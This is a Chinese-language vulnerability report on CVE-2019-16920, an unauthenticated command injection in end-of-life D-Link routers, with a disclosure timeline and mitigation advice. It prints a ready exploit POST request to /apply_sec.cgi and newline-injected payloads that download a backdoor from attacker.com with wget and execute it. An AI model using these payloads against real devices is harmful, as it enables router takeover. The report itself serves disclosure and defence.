D-Link路由器前台命令执行漏洞
字数 1399 2025-08-26 22:11:22
D-Link路由器前台命令执行漏洞分析报告
漏洞概述
本报告详细分析D-Link路由器系列产品中存在的前台命令执行漏洞(CVE-2019-16920/FG-VD-19-117),该漏洞允许攻击者在无需身份验证的情况下远程执行任意命令。
受影响产品
- DIR-655
- DIR-866L
- DIR-652
- DHP-1565
注意:这些产品已接近生命周期末端(EOL),厂商不会提供修复补丁。
漏洞技术细节
漏洞位置
漏洞存在于/apply_sec.cgi的处理逻辑中,具体实现在/www/cgi/ssi二进制文件中。
认证绕过机制
-
认证检查流程:
- 代码从NVRAM获取
current_user和current_username值 - 将
current_user与base64encode(user_username)比较 - 默认
user_username值为"user",current_user在未登录时为未初始化状态 - 比较结果永远不会为0,因此不会返回error.asp页面
- 代码从NVRAM获取
-
请求处理流程:
- 调用
put_querystring_env()解析HTTP POST请求并保存到ENV - 通过
query_vars("action", acStack288, 0x80)获取action值 - 比较URI与"/apply_sec.cgi"决定使用
SSC_SEC_OBJS或SSC_OBJS数组
- 调用
命令注入点
-
漏洞触发点:
- 位于
SSC_SEC_OBJS数组中的ping_test操作 - 对应函数
sub_41A010处理ping_ipaddr参数
- 位于
-
注入方式:
- 使用换行符
%0a进行命令注入 - 示例:
ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://attacker.com/$(echo 1234)
- 使用换行符
漏洞利用方法
攻击步骤
-
构造恶意POST请求:
POST /apply_sec.cgi HTTP/1.1 Host: [目标IP] Content-Type: application/x-www-form-urlencoded Content-Length: [长度] html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=[注入命令] -
命令注入示例:
- 执行系统命令:
ping_ipaddr=127.0.0.1%0a[命令] - 下载后门:
ping_ipaddr=127.0.0.1%0awget%20http://attacker.com/backdoor%20-O%20/tmp/backdoor - 执行后门:
ping_ipaddr=127.0.0.1%0achmod%20777%20/tmp/backdoor%20%26%26%20/tmp/backdoor
- 执行系统命令:
利用限制
- 特殊字符如双引号、分号等会导致ping操作失败
- 换行符(
%0a)是有效的命令分隔符
漏洞时间线
- 2019年9月22日:FortiGuard实验室向D-Link报告漏洞
- 2019年9月23日:D-Link确认漏洞
- 2019年9月25日:D-Link确认产品已停产
- 2019年10月3日:漏洞公开披露
防护建议
-
立即措施:
- 将受影响路由器从网络边界移除
- 更新到非EOL产品线
-
长期方案:
- 替换所有受影响型号的路由器
- 实施网络分段,限制路由器管理接口的访问
-
开发建议:
- 对所有用户输入进行严格过滤
- 实现完善的认证检查机制
- 避免直接拼接用户输入到系统命令中
技术总结
该漏洞的根本原因是缺乏对系统命令执行的输入验证,属于典型的命令注入漏洞。由于受影响产品已EOL,建议用户尽快更换设备,避免潜在的安全风险。